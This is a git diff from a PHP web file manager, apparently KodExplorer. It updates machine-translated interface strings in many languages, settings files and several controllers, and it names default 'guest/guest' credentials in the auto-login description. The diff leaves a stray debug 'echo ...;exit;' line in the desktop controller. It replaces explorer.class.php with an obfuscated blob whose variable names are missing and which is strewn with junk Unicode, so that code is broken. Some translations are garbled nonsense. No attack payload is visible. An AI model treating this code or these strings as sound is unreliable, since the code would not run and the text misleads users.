"php_env_error_file" => "Неотворени филе_гет_цонтентс", "php_env_error_path" => "не може писати", + "php_env_error_list_dir" => "Ваш веб сервер отвара директоријум листинг функцију из безбедносних разлога, искључите ову функцију! како? ", "php_env_error_gd" => "Пхп ГД библиотека требало би да буде отворен, иначе код, користи минијатурни неће функционисати како треба", "install_login" => "Можете користити следећу пријављивањем", "install_enter" => "sistem", diff --git a/config/i18n/sv/main.php b/config/i18n/sv/main.php index b18d94d..199e900 100755 --- a/config/i18n/sv/main.php +++ b/config/i18n/sv/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Tillåt uppladdning", "move_error" => "flytta misslyckades", "setting_basic" => "grund~~POS=TRUNC", - "setting_user_animage_show" => "öppen Animation", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "öppen Animation", "recycle_open_if" => "Öppna Papperskorgen", "recycle_open" => "öppen", "qrcode" => "URL QR-kod", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Den nya användaren skapas som standard app", "new_user_app_desc" => "Applikationer Application Center, ett flertal separerade med kommatecken", "auto_login" => "Besökare automatisk inloggning", - "auto_login_desc" => "gäststandardinloggningsnamn, efter öppning för att säkerställagästanvändarnärvaro", + "auto_login_desc" => "Standardinloggningsguest/guestanvändare, efter öppnandet för att säkerställa att användaren existerar", "first_in" => "När du har loggat in standard", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "oöppnad mb_string", "php_env_error_file" => "oöppnade file_get_contents", "php_env_error_path" => "inte skrivbar", + "php_env_error_list_dir" => "Din webbserver öppnar kataloglistning funktionen av säkerhetsskäl, stänga av denna funktion!hur?", "php_env_error_gd" => "Php GD biblioteket bör vara öppna, annars koden använder miniatyr kommer inte att fungera korrekt", "install_login" => "Du kan använda följande inloggnings", "install_enter" => "systemet", diff --git a/config/i18n/ta/main.php b/config/i18n/ta/main.php index a628ef9..82ca70a 100755 --- a/config/i18n/ta/main.php +++ b/config/i18n/ta/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "பதிவேற்ற அனுமதி", "move_error" => "நகர்வு தோல்வி", "setting_basic" => "அடிப்படை அமைப்புகள்", - "setting_user_animage_show" => "திறந்த அனிமேஷன்", + "setting_user_sound_open" => "திறந்த ஒலி", + "setting_user_animate_open" => "திறந்த அனிமேஷன்", "recycle_open_if" => "சுழற்சி தொட்டி திறக்க", "recycle_open" => "திறந்த", "qrcode" => "URL ஐ QR குறியீடு", @@ -197,7 +198,7 @@ return array( "new_user_app" => "புதிய பயனர் இயல்புநிலை பயன்பாட்டை, உருவாக்கப்பட்ட உள்ளது", "new_user_app_desc" => "பயன்பாடுகள், பயன்பாட்டு மையம், பிரிக்கப்பட்ட ஒரு பன்முக", "auto_login" => "பார்வையாளர்கள் தானியங்கி உள்நுழைவு", - "auto_login_desc" => "இயல்புநிலை உள்நுழைவு பயனர்பெயர்விருந்தினர்பயனர்களுக்கு திறந்த பிறகு உறுதிவிருந்தினர்பயனர் முன்னிலையில்", + "auto_login_desc" => "இயல்புநிலை உள்நுழைவு பயனர்guest/guestபயனர்களுக்கு திறந்த பிறகு பயனர் உள்ளது என்று உறுதி", "first_in" => "இயல்புநிலை உள்நுழைந்து பிறகு", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "திறக்கப்படாத mb_string", "php_env_error_file" => "திறக்கப்படாத file_get_contents", "php_env_error_path" => "எழுத முடியாது", + "php_env_error_list_dir" => "உங்கள் வலை சர்வர் பாதுகாப்பு காரணங்களுக்காக பட்டியல் அம்சம் அடைவை திறந்து, இந்த அம்சத்தை முடக்க!எப்படி?", "php_env_error_gd" => "PHP GD நூலகம் திறந்த, இல்லையெனில் குறியீடு, சிறு பயன்படுத்த சரியாக செயல்பட முடியாது இருக்க வேண்டும்", "install_login" => "நீங்கள் பின்வரும் கணக்கு உள்நுழைவு பயன்படுத்த முடியும்", "install_enter" => "அமைப்பு", diff --git a/config/i18n/th/main.php b/config/i18n/th/main.php index 71bc9cc..2d1909a 100755 --- a/config/i18n/th/main.php +++ b/config/i18n/th/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "อนุญาตให้อัปโหลด", "move_error" => "ย้ายล้มเหลว", "setting_basic" => "การตั้งค่าพื้นฐาน", - "setting_user_animage_show" => "เปิดนิเมชั่น", + "setting_user_sound_open" => "เปิดเสียง", + "setting_user_animate_open" => "เปิดนิเมชั่น", "recycle_open_if" => "เปิด Recycle Bin", "recycle_open" => "เปิด", "qrcode" => "URL รหัส QR", @@ -197,7 +198,7 @@ return array( "new_user_app" => "ผู้ใช้ใหม่ถูกสร้างขึ้นโดยแอปเริ่มต้น", "new_user_app_desc" => "การใช้งานแอพลิเคชันศูนย์ใหญ่ของคั่นด้วยเครื่องหมายจุลภาค", "auto_login" => "ผู้เข้าชมเข้าสู่ระบบอัตโนมัติ", - "auto_login_desc" => "ของผู้เข้าพักชื่อผู้ใช้เข้าสู่ระบบค่าเริ่มต้นหลังจากที่เปิดเพื่อให้มั่นใจว่าผู้เข้าพักของผู้ใช้", + "auto_login_desc" => "การเข้าสู่ระบบของผู้ใช้เริ่มต้นของผู้เข้าพักguest/guestผู้ใช้หลังจากเปิดเพื่อให้มั่นใจว่าผู้ใช้ที่มีอยู่", "first_in" => "หลังจากที่เข้าสู่การเริ่มต้น", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string ยังไม่ได้เปิด", "php_env_error_file" => "file_get_contents ยังไม่ได้เปิด", "php_env_error_path" => "ไม่สามารถเขียนได้", + "php_env_error_list_dir" => "เว็บเซิร์ฟเวอร์ของคุณเปิดไดเรกทอรีคุณลักษณะรายการสำหรับเหตุผลด้านความปลอดภัยปิดใช้งานคุณลักษณะนี้!อย่างไร", "php_env_error_gd" => "ห้องสมุด PHP GD ควรจะเปิดมิฉะนั้นรหัสที่ใช้ภาพขนาดย่อจะไม่ทำงานอย่างถูกต้อง", "install_login" => "คุณสามารถใช้เข้าสู่ระบบบัญชีดังต่อไปนี้", "install_enter" => "ระบบ", diff --git a/config/i18n/tr/main.php b/config/i18n/tr/main.php index 9f6ca72..94ed867 100755 --- a/config/i18n/tr/main.php +++ b/config/i18n/tr/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "yüklenmesine izin", "move_error" => "taşı başarısız", "setting_basic" => "temel Ayarlar", - "setting_user_animage_show" => "Açık Animasyon", + "setting_user_sound_open" => "Açık Ses", + "setting_user_animate_open" => "Açık Animasyon", "recycle_open_if" => "Geri Dönüşüm Kutusu'nu açın", "recycle_open" => "açık", "qrcode" => "URL QR code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Yeni kullanıcı varsayılan uygulama tarafından oluşturulan", "new_user_app_desc" => "Uygulamalar Uygulama Merkezi virgülle ayırarak çok sayıda", "auto_login" => "Ziyaretçiler otomatik giriş", - "auto_login_desc" => "konukvarsayılan oturum açma kullanıcı adı; açıldıktan sonrakonukkullanıcı varlığını sağlamak için", + "auto_login_desc" => "Varsayılan oturum açma kullanıcıguest/guestkullanıcıları; açıldıktan sonra kullanıcı var olduğundan emin olmak için", "first_in" => "Varsayılan giriş yaptıktan sonra", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "açılmamış mb_string", "php_env_error_file" => "açılmamış file_get_contents", "php_env_error_path" => "yazılabilir değil", + "php_env_error_list_dir" => "Web sunucusu güvenlik nedenleriyle özelliği listeleme dizini açar, bu özelliği devre dışı!nasıl?", "php_env_error_gd" => "Php GD kütüphanesi düzgün çalışmaz üzerlerine kullanın, aksi takdirde kodu açık olmalıdır", "install_login" => "Aşağıdaki hesap giriş kullanabilirsiniz", "install_enter" => "sistem", diff --git a/config/i18n/uk/main.php b/config/i18n/uk/main.php index c5cb0aa..333cdc6 100755 --- a/config/i18n/uk/main.php +++ b/config/i18n/uk/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "дозволити завантаження", "move_error" => "Перемістити не вдалося", "setting_basic" => "Основні налаштування", - "setting_user_animage_show" => "відкрити Анімація", + "setting_user_sound_open" => "відкрита бухта", + "setting_user_animate_open" => "відкрити Анімація", "recycle_open_if" => "відкрити кошика", "recycle_open" => "відкритий", "qrcode" => "URL QR-код", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Новий користувач буде створений додатком за замовчуванням", "new_user_app_desc" => "Центр прикладних програм, безліч розділених комами", "auto_login" => "Відвідувачі автоматичного входу в систему", - "auto_login_desc" => "гістьім'я користувача Логін за замовчуванням, після відкриття для забезпеченнягостяприсутності користувача", + "auto_login_desc" => "Логін за замовчуванням користувачguest/guestкористувачів, після відкриття, щоб гарантувати, що користувач існує", "first_in" => "Після входу в значення за замовчуванням", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "невідкрите mb_string", "php_env_error_file" => "нерозкриті file_get_contents", "php_env_error_path" => "Чи не доступний для запису", + "php_env_error_list_dir" => "Ваш веб-сервер відкриває каталог функцію зі списком з міркувань безпеки, відключити цю функцію!як?", "php_env_error_gd" => "бібліотека Php GD повинна бути відкрита, в іншому випадку код, використовуйте ескіз не працюватиме належним чином", "install_login" => "Ви можете використовувати наступний логін", "install_enter" => "система", diff --git a/config/i18n/uz/main.php b/config/i18n/uz/main.php index 26c0e8c..2a0e39d 100755 --- a/config/i18n/uz/main.php +++ b/config/i18n/uz/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Yuklash ruxsat berish", "move_error" => "ko'chirish muvaffaqiyatsiz", "setting_basic" => "asosiy Sozlamalar", - "setting_user_animage_show" => "Open Animatsiya", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "Open Animatsiya", "recycle_open_if" => "Qayta ishlab chiqarish inbox oching", "recycle_open" => "ochiq", "qrcode" => "URL QR code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Yangi foydalanuvchi standart ilova tomonidan yaratilgan", "new_user_app_desc" => "Ilovalar amaliy markazi, vergul bilan ajratilgan bir qancha", "auto_login" => "Mehmonlari avtomatik kirish", - "auto_login_desc" => "mehmonstandart kirish foydalanuvchi nomi; ochilishida keyinmehmonfoydalanuvchi borligini ta'minlash", + "auto_login_desc" => "Standart kirish Foydalanuvchiguest/guestfoydalanuvchilar; ochilishida keyin foydalanuvchi mavjud bo'lishini ta'minlash uchun", "first_in" => "Odatiy kirib keyin", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "ochilmagan mb_string", "php_env_error_file" => "ochilmagan file_get_contents", "php_env_error_path" => "yozib bo'lmaydi", + "php_env_error_list_dir" => "Veb-server xavfsizlik sabablari tufayli xususiyati ro'yxati katalogini ochadi, ushbu xususiyatni o'chirib qo'ying!qanday?", "php_env_error_gd" => "Php GD kutubxona to'g'ri ishlamaydi ayol suratini foydalanish, aks holda kodi ochiq bo'lishi kerak", "install_login" => "Siz quyidagi hisob Kirish foydalanishingiz mumkin", "install_enter" => "tizim", diff --git a/config/i18n/vi/main.php b/config/i18n/vi/main.php index e8608f0..7ab7b88 100755 --- a/config/i18n/vi/main.php +++ b/config/i18n/vi/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "cho phép tải lên", "move_error" => "di chuyển không thành", "setting_basic" => "Cài đặt cơ bản", - "setting_user_animage_show" => "mở Animation", + "setting_user_sound_open" => "mở Sound", + "setting_user_animate_open" => "mở Animation", "recycle_open_if" => "Mở Recycle Bin", "recycle_open" => "mở", "qrcode" => "URL mã QR", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Người dùng mới được tạo ra bởi ứng dụng mặc định", "new_user_app_desc" => "Ứng dụng Trung tâm Ứng dụng, đa số cách nhau bởi dấu phẩy", "auto_login" => "Thăm tự động đăng nhập", - "auto_login_desc" => "Tên người dùng đăng nhập mặc địnhkháchngười sử dụng, sau khi mở cửa để đảm bảokháchngười sử dụng sự hiện diện", + "auto_login_desc" => "Đăng nhập mặc định sử dụngguest/guestngười sử dụng, sau khi mở cửa để đảm bảo rằng người dùng tồn tại", "first_in" => "Sau khi đăng nhập vào mặc định", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string chưa mở", "php_env_error_file" => "đào tạo Quản lý chưa mở", "php_env_error_path" => "không thể ghi", + "php_env_error_list_dir" => "máy chủ web của bạn mở thư mục tính năng niêm yết vì lý do an ninh, vô hiệu hóa tính năng này!thế nào?", "php_env_error_gd" => "thư viện php GD nên được mở, nếu không thì mã, sử dụng các hình ảnh thu nhỏ sẽ không hoạt động đúng", "install_login" => "Bạn có thể sử dụng tài khoản đăng nhập sau", "install_enter" => "hệ thống", diff --git a/config/i18n/zh-CN/main.php b/config/i18n/zh-CN/main.php index 640a6af..f768e28 100755 --- a/config/i18n/zh-CN/main.php +++ b/config/i18n/zh-CN/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "允许上传", "move_error" => "移动失败", "setting_basic" => "基础设置", - "setting_user_animage_show" => "开启动画", + "setting_user_sound_open" => "开启音效", + "setting_user_animate_open" => "开启动画", "recycle_open_if" => "开启回收站", "recycle_open" => "开启", "qrcode" => "URL 二维码", @@ -197,7 +198,7 @@ return array( "new_user_app" => "新用户默认创建app", "new_user_app_desc" => "应用中心的应用,多个用逗号隔开", "auto_login" => "游客自动登录", - "auto_login_desc" => "默认登录用户名为guest的用户;开启后确保guest用户存在", + "auto_login_desc" => "默认登录用户为guest/guest的用户;开启后确保该用户存在", "first_in" => "登录后默认进入", "version_vip_free" => "免费版", "version_vip_1" => "VIP 1 (团队版)", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "未开启 mb_string", "php_env_error_file" => "未开启 file_get_contents", "php_env_error_path" => "不可写", + "php_env_error_list_dir" => "您的web服务器开启了列目录功能,为安全考虑请禁用该功能!如何操作?", "php_env_error_gd" => "须开启php GD库,否则验证码、缩略图使用将不正常", "install_login" => "您可以用如下账号登录", "install_enter" => "进入系统", @@ -407,7 +409,7 @@ return array( "upload_drag_tips" => "松开即可上传!", "path_not_allow" => "文件名不允许出现", "download" => "下载", - "download_address" => "下载地址", + "download_address" => "外链地址", "download_ready" => "即将下载", "download_success" => "下载成功!", "download_error" => "下载失败!", diff --git a/config/i18n/zh-TW/main.php b/config/i18n/zh-TW/main.php index 0755ce6..0ec44f3 100755 --- a/config/i18n/zh-TW/main.php +++ b/config/i18n/zh-TW/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "允許上傳", "move_error" => "移動失敗", "setting_basic" => "基礎設定", - "setting_user_animage_show" => "開啟動畫", + "setting_user_sound_open" => "開啟音效", + "setting_user_animate_open" => "開啟動畫", "recycle_open_if" => "開啟垃圾筒", "recycle_open" => "開啟", "qrcode" => "URL 二維碼", @@ -197,7 +198,7 @@ return array( "new_user_app" => "新用戶默認創建app", "new_user_app_desc" => "應用中心的應用,多個用逗號隔開", "auto_login" => "遊客自動登錄", - "auto_login_desc" => "默認登錄用戶名為guest的用戶;開啟後確保guest用戶存在", + "auto_login_desc" => "默認登錄用戶為guest/guest的用戶;開啟後確保該用戶存在", "first_in" => "登錄後默認進入", "version_vip_free" => "免費版", "version_vip_1" => "VIP 1 (團隊版)", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "未開啟 mb_string", "php_env_error_file" => "未開啟 file_get_contents", "php_env_error_path" => "不可寫", + "php_env_error_list_dir" => "您的web服務器開啟了列目錄功能,為安全考慮請禁用該功能!如何操作?", "php_env_error_gd" => "須開啟php GD庫,否則驗證碼、縮略圖使用將不正常", "install_login" => "您可以用如下賬號登錄", "install_enter" => "進入系統", @@ -407,7 +409,7 @@ return array( "upload_drag_tips" => "鬆開即可上傳!", "path_not_allow" => "檔案名不允許出現", "download" => "下載", - "download_address" => "下載地址", + "download_address" => "外鏈地址", "download_ready" => "即將下載", "download_success" => "下載成功!", "download_error" => "下載失敗!", diff --git a/config/setting.php b/config/setting.php index b4c7bac..f019b20 100755 --- a/config/setting.php +++ b/config/setting.php @@ -10,6 +10,8 @@ $config['settings'] = array( 'download_url_time' => 0, //下载地址生效时间,按秒计算,0代表不限制,默认不限制 'api_login_tonken' => '', //设定则认为开启服务端api通信登陆,同时作为加密密匙 + 'update_chunk_size' => 1024*1024, //分片上传大小设定;不设定则用post_max_size;有时会受nginx的post_size限制 + 'param_rewrite' => true ); //初始化系统配置 @@ -25,7 +27,7 @@ $config['setting_system_default'] = array( 'new_user_app' => "365日历,pptv直播,ps,qq音乐,搜狐影视,时钟,天气,水果忍者,计算器,豆瓣电台,音悦台,icloud", 'new_user_folder' => "document,desktop,pictures,music", - 'new_group_folder' => "share,doc" //新建分组默认建立文件夹 + 'new_group_folder' => "share,doc,pictures" //新建分组默认建立文件夹 ); @@ -37,6 +39,7 @@ $config['setting_default'] = array( 'file_repeat' => "replace", // replace|rename|skip 'file_icon_size' => "80", // 图标大小 'animate_open' => "1", // dialog动画 + 'sound_open' => "0", // 操作音效 'theme' => "win10", // app theme [mac,win7,win10,metro,metro_green,alpha] 'wall' => "2", // wall picture "file_repeat" => "rename", // rename,replace diff --git a/config/version.php b/config/version.php index c82b930..270de00 100755 --- a/config/version.php +++ b/config/version.php @@ -1,2 +1,2 @@ $data) { if (!is_array($data)) { continue; } - $path = iconv_system($desktop.$key.'.oexe'); + $path = $desktop.iconv_system($key).'.oexe'; unset($data['name']); unset($data['desc']); unset($data['group']); file_put_contents($path, json_encode($data)); - } + } } /** diff --git a/controller/desktop.class.php b/controller/desktop.class.php index 8c0d873..c8e1be1 100755 --- a/controller/desktop.class.php +++ b/controller/desktop.class.php @@ -18,9 +18,15 @@ class desktop extends Controller{ }else{ $this->assign('wall',STATIC_PATH.'images/wall_page/'.$wall.'.jpg'); } - if (!is_dir(MYHOME.'desktop/') && path_writeable(MYHOME)) { - mkdir(MYHOME.'desktop/'); + + $desktop = iconv_system(HOME.'desktop/'); + if ($GLOBALS['is_root']) { + $desktop = iconv_system(MYHOME.'desktop/'); } + if (!file_exists($desktop)) { + @mkdir($desktop); + } + echo $desktop;exit; $this->display('index.php'); } } diff --git a/controller/editor.class.php b/controller/editor.class.php index f500719..6620500 100755 --- a/controller/editor.class.php +++ b/controller/editor.class.php @@ -28,7 +28,7 @@ class editor extends Controller{ //获取编辑器配置数据 $editor_config = $this->config['editor_default']; $config_file = USER.'data/editor_config.php'; - if (!file_exists($config_file)) {//不存在则创建 + if (!file_exists(iconv_system($config_file))) {//不存在则创建 $sql=fileCache::save($config_file,$editor_config); }else{ $editor_config=fileCache::load($config_file); @@ -49,7 +49,7 @@ class editor extends Controller{ if (!file_exists($filename)){ show_json($this->L['not_exists'],false); } - if (!is_readable($filename)){ + if (!path_readable($filename)){ show_json($this->L['no_permission_read_all'],false); } if (filesize($filename) >= 1024*1024*40) show_json($this->L['edit_too_big'],false); @@ -107,7 +107,7 @@ class editor extends Controller{ */ public function setConfig(){ $file = USER.'data/editor_config.php'; - if (!is_writeable($file)) {//配置不可写 + if (!path_writeable(iconv_system($file))) {//配置不可写 show_json($this->L['no_permission_write_file'],false); } $key= $this->in['k']; diff --git a/controller/explorer.class.php b/controller/explorer.class.php index bfe58da..c6fccbe 100755 --- a/controller/explorer.class.php +++ b/controller/explorer.class.php @@ -1 +1,1422 @@ -tpl=TEMPLATE.'explorer/';;$this->user=$_SESSION['kod_user'];if(isset($this->in['path'])){$this->path=_DIR($this->in['path']);$this->check_system_path();}}public function index(){$鬧='';֩;if(isset($this->in['path'])&& $this->in['path']!=''){$鬧=_DIR_CLEAR($_GET['path']);$鬧=rtrim($鬧,'/').'/';}$this->assign('dir',$鬧);if($this->config['forceWap']){$this->display('index_wap.php');}else{$this->display('index.php');}}private function check_system_path(){if(!in_array(ACT,array('mkfile','mkdir','search','pathCuteDrag','pathCopyDrag','pathPast','fileDownload'))){return;}if($GLOBALS['path_type']==KOD_USER_SHARE&& !strstr(trim($this->in['path'],'/'),'/')){show_json($this->L['error'],!1);}if(in_array($GLOBALS['path_type'],array(KOD_USER_FAV,KOD_GROUP_ROOT_ALL,KOD_GROUP_ROOT_SELF))){show_json($this->L['system_path_not_change'],!1);}}public function pathInfo(){$=json_decode($this->in['list'],!0);if(!$){show_json($this->L['error'],!1);}foreach($ as &$){$['path']=_DIR($['path']);}$=path_info_muti($,$this->L['time_type_info']);if(!$){show_json($this->L['not_exists'],!1);}if(count($)==0x001&& $[0]['type']!='folder'){if($GLOBALS['is_root']|| $GLOBALS['auth']['explorer:fileDownload']==0x001){$['download_path']=_make_file_proxy($[0]['path']);}$=$[0]['path'];if($['size']<0x064*0x00000400*0x00000400|| isset($this->in['get_md5'])){$['file_md5']=@md5_file($);}else{$['file_md5']="...";}$󈏯=get_path_ext($);if(in_array($󈏯,array('jpg','gif','png','jpeg','bmp'))){load_class('imageThumb');$چ=imageThumb::imageSize($);if($چ){$['image_size']=$چ;}}}$['path']=_DIR_OUT($['path']);show_json($);}public function pathChmod(){$=json_decode($this->in['list'],!0);if(!$){show_json($this->L['error'],!1);}$=octdec('0'.$this->in['mod']);$=0;Ǐ;$߿=0;foreach($ as $){$=_DIR($['path']);ԣ۱񁒱ݴڲƭޚԴ짥߮;if(chmod_path($,$)){$++;}else{$߿++;}}$=$߿==0?!0:!1;ܹεÝ۷ݜҥȭڋݪ;$=$.' success,'.$߿.' error';if(count($)==0x001&& $߿==0){$=$this->L['success'];}show_json($,$);}public function mkfile(){$ٔ=BASIC_PATH.'static/others/newfile-tpl/';space_size_use_check();֫Ш͊;$='skip';if(isset($this->in['repeat_type'])){$=$this->in['repeat_type'];}$=rtrim($this->path,'/');$=get_filename_auto($,'',$);ёޗٞ;if(@touch($)){chmod_path($,0777);if(isset($this->in['content'])){file_put_contents($,$this->in['content']);}else{$=get_path_ext($);$=$ٔ.'newfile.'.$;if(file_exists($)){$=file_get_contents($);file_put_contents($,$);}}space_size_use_change($);show_json($this->L['create_success'],!0,_DIR_OUT(iconv_app($)));}else{show_json($this->L['create_error'],!1);}}public function mkdir(){space_size_use_check();$='skip';Л؃;if(isset($this->in['repeat_type'])){$=$this->in['repeat_type'];}$=rtrim($this->path,'/');$=get_filename_auto($,'',$);if(mk_dir($,0777)){chmod_path($,0777);show_json($this->L['create_success'],!0,_DIR_OUT(iconv_app($)));}else{show_json($this->L['create_error'],!1);}}public function pathRname(){$=_DIR($this->in['rname_to']);ɋ;if(file_exist_case($)){show_json($this->L['name_isexists'],!1);}if(@rename($this->path,$)){show_json($this->L['rname_success'],!0,_DIR_OUT(iconv_app($)));}else{show_json($this->L['no_permission_write_all'],!1);}}public function search(){if(!isset($this->in['search']))show_json($this->L['please_inpute_search_words'],!1);$󷙵=intval($this->in['is_content']);;$=intval($this->in['is_case']);Ͼڬςћ;$؆=trim($this->in['ext']);ʢ͌;if($GLOBALS['path_type']==KOD_USER_SHARE&& strstr($this->path,KOD_USER_SHARE)){show_json($this->L['path_cannot_search'],!1);}$=path_search($this->path,iconv_system(rawurldecode($this->in['search'])),$󷙵,$؆,$);show_json(_DIR_OUT($));Я롆˹ј޷˕ԜԎ֑י行;}public function pathList(){$=$this->in['path'];if($=="")$='/';$쿆=$this->path($this->path);if($this->path== MYHOME|| $this->path==HOME){$this->_self_root_load($쿆['folderlist']);}if($쿆['info']['path_type']==KOD_GROUP_PATH&& !strstr(trim(_DIR_CLEAR($this->in['path']),'/'),'/')){$this->_self_group_load($쿆['folderlist']);}$쿆['user_space']=$this->user['config'];show_json($쿆);}public function treeList(){$=$this->in['app'];if(isset($this->in['type'])&& $this->in['type']=='init'){$this->_tree_init($);}switch(trim(rawurldecode($this->in['path']))){case KOD_USER_FAV:show_json($this->_tree_fav(),!0);break;case KOD_GROUP_ROOT_SELF:show_json($this->_group_self(),!0);break;case KOD_GROUP_ROOT_ALL:show_json($this->_group_tree('1'),!0);break;default:break;}if((isset($this->in['tree_icon'])&& $this->in['tree_icon']!='groupPublic')&& !strstr(trim(rawurldecode($this->in['path']),'/'),'/')&&($GLOBALS['path_type']==KOD_GROUP_PATH|| $GLOBALS['path_type']==KOD_GROUP_SHARE)){$=$this->_group_tree($GLOBALS['path_id']);show_json($,!0);return;}$=_DIR($this->in['path']);if(!is_readable($))show_json($this->L['no_permission_read'],!1);$䦶=($=='editor'?!0:!1);ӭﭧ;$=$this->path($,$䦶,!0);function sort_by_key($,$){if($['name']==$['name'])return 0;return($['name']>$['name'])?0x001:-0x001;}usort($['folderlist'],"sort_by_key");ϲ臫ˡ˸렣ȟג젙דʃ꧔Ⱥ;usort($['filelist'],"sort_by_key");٭ڗݔЙȅЉҜڢ‑ºǷəӊ;if($==MYHOME|| $==HOME){}if($=='editor'){$=array_merge($['folderlist'],$['filelist']);show_json($,!0);}else{show_json($['folderlist'],!0);}}private function _self_group_load(&$){foreach($ as $=>$){if($['name']=='share'){$[$]=array('name' =>$this->L['group_share'],'menuType' =>"menufolder folderBox",'ext' =>"folder_share",'isParent' =>!0,'is_readable' =>!0,'is_writeable' =>!0,'path' =>KOD_GROUP_PATH.':'.$GLOBALS['path_id'].'/share/','type' =>'folder','open' =>!1,'isParent' =>!1);break;}}$=array_values($);}private function _self_root_load(&$){foreach($ as $ȑ=>$){if($['name']=='share'){$[$ȑ]=array('name' =>$this->L['my_share'],'menuType' =>"menuTreeUser",'ext' =>"folder_share",'isParent' =>!0,'is_readable' =>!0,'is_writeable' =>!0,'path' =>KOD_USER_SHARE.':'.$this->user["user_id"].'/','type' =>'folder','open' =>!1,'isParent' =>!1);break;}}$=array_values($);if($this->config['user']['recycle_open']=="1"){}}private function _tree_fav(){$=($this->in['app']=='editor'?!0:!1);$΂=new fileCache(USER.'data/fav.php');;$Շ=$΂->get();﻾ö墑ԟ;$=array();$GLOBALS['path_from_auth_check']=!0;foreach($Շ as $ʵ=>$){$=path_haschildren(_DIR($['path']),$);if(!isset($['type'])){$['type']='folder';}if(in_array($['type'],array('group'))){$=!0;}$=array('name' =>$['name'],'ext' =>$['ext'],'menuType' =>"menuTreeFav",'path' =>$['path'],'type' =>$['type'],'open' =>!1,'isParent' =>$);if(isset($['type'])&& $['type']!='folder'){$['ext']=$['type'];}$[]=$;}$GLOBALS['path_from_auth_check']=!1;return $;}private function _tree_init($){if($=='editor' && isset($this->in['project'])){$=$this->path(_DIR($this->in['project']),!0,!0);$=array_merge($['folderlist'],$['filelist']);$=array(array('name'=> get_path_this($this->in['project']),'children' =>$,'menuType' =>"menuTreeRoot",'ext' =>"folder",'path' =>$this->in['project'],'type' =>'folder','open' =>!0,'isParent' =>count($)>0?!0:!1));show_json($);return;}$⒦=($=='editor'?!0:!1);$=$this->_tree_fav($);ϻۢ˂đ;$ۿ=KOD_GROUP_PATH.':1/';if(system_member::user_auth_group(0x001)==!1){$ۿ=KOD_GROUP_SHARE.':1/';}$=$this->path(_DIR($ۿ),$⒦,!0);$=$this->path(_DIR(MYHOME),$⒦,!0);if($⒦){$=array_merge($['folderlist'],$['filelist']);$=array_merge($['folderlist'],$['filelist']);}else{$=$['folderlist'];$=$['folderlist'];}$=count($)>0?!0:!1;$=count($)>0?!0:!1;׾ɕΒ忋❹ÑŞ񬈱ɡȣ;$=array('webroot'=>array(),'fav'=>array('name' =>$this->L['fav'],'ext' =>"treeFav",'menuType' =>"menuTreeFavRoot",'children' =>$,'path' =>KOD_USER_FAV,'type' =>'folder','open' =>!0,'isParent' =>count($)>0?!0:!1),'my_home'=>array('name' =>$this->L['root_path'],'menuType' =>"menuTreeRoot",'ext' =>"treeSelf",'children' =>$,'path' =>MYHOME,'type' =>'folder','open' =>!0,'isParent' =>$),'public'=>array('name' =>$this->L['public_path'],'menuType' =>"menuTreeGroupRoot",'ext' =>"groupPublic",'children' =>$,'path' =>$ۿ,'type' =>'folder','open' =>!0,'isParent' =>$),'my_group'=>array('name' =>$this->L['my_kod_group'],'menuType' =>"menuTreeGroupRoot",'ext' =>"groupSelfRoot",'children' =>$this->_group_self(),'path' =>KOD_GROUP_ROOT_SELF,'type' =>'folder','open' =>!0,'isParent' =>!0),'group'=>array('name' =>$this->L['kod_group'],'menuType' =>"menuTreeGroupRoot",'ext' =>"groupRoot",'children' =>$this->_group_tree('1'),'path' =>KOD_GROUP_ROOT_ALL,'type' =>'folder','open' =>!0,'isParent' =>!0),);if($=='editor'){unset($['my_group']);unset($['group']);unset($['public']);if($GLOBALS['is_root']==0x001){$=$this->path(_DIR(WEB_ROOT),$⒦,!0);$=array_merge($['folderlist'],$['filelist']);$['webroot']=array('name' =>"webroot",'menuType' =>"menuTreeRoot",'ext' =>"folder",'children' =>$,'path' =>WEB_ROOT,'type' =>'folder','open' =>!0,'isParent' =>!0);}}else{unset($['webroot']);}$=array();ҫ;foreach($ as $=>$){if(count($['children'])<0x001&& in_array($,array('my_group','group'))){continue;}$[]=$;}show_json($);}private function _group_tree($){$=system_group::load_data();汞;$=$->get(array('parent_id',$));髪ر缀;$=$this->_make_node_list($);Ļ܉;$ڤ=array();˝퇭㶒¯ϙ܅䳫ܤīđؿ;if($!='1'){$ς=system_member::get_user_at_group($);foreach($ς as $Թ=>$){$='user';if($['user_id']==$this->user['user_id']){$='userSelf';}$ڤ[]=array('name' =>$['name'],'menuType' =>"menuTreeUser",'ext' =>$,'path' =>KOD_USER_SHARE.':'.$['user_id'].'/','type' =>'folder','open' =>!1,'isParent' =>!1);}}$×=array_merge($,$ڤ);return $×;Đͣ¡;}private function 